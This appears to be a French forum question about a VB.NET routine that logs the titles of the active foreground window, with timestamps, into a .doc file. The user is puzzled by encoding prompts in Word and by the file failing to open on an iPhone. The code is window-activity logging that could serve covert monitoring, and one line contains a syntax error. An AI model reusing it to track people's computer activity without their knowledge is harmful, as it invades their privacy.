Problème d'encodage fichier
Bonjour, voici ma fonction, qui écrit le stringbuilder "rendu" dans un fichier.doc (sans encryptage word). Le problème est que Word demande à chaque ouverture l'encodage à utiliser, ce qui n'est pas normal. Par ailleurs, le fichier ne se lit pas en pièce jointe sur un Iphone, ce qui selon mes tests est lié. Comment faire? J'ai trifouillé tous les encodages, méthodes, bytesConvert, sans résultat.
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13
| Dim ligne As String = "_____________________________________________________________"
Dim rendu As New StringBuilder
Dim strin As String = Nothing
Try
If strin <> GetActiveWindowTitle() And GetActiveWindowTitle() <> "" And GetActiveWindowTitle() <> "Démarrer" Then
rendu.Append(vbNewLine & vbNewLine & vbNewLine & GetActiveWindowTitle() & Date.Now.ToShortTimeString & vbNewLine)
strin = GetActiveWindowTitle()
End If
Catch ex As Exception
rendu.Append(vbNewLine & "[------ Données indispponibles ------] -- " & Date.Now.ToShortTimeString & " --" & vbNewLine)
End Try
File.WriteAllText("abc.doc"), rendu.ToString) |
Fonction windowTitle
Code:
1 2 3 4 5 6 7 8 9 10
| Private Function GetActiveWindowTitle() As String
Try
Dim MyStr As String = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr.ToString
Catch ex As Exception
Return "Données indisponibles"
End Try
End Function |
Merci beaucoup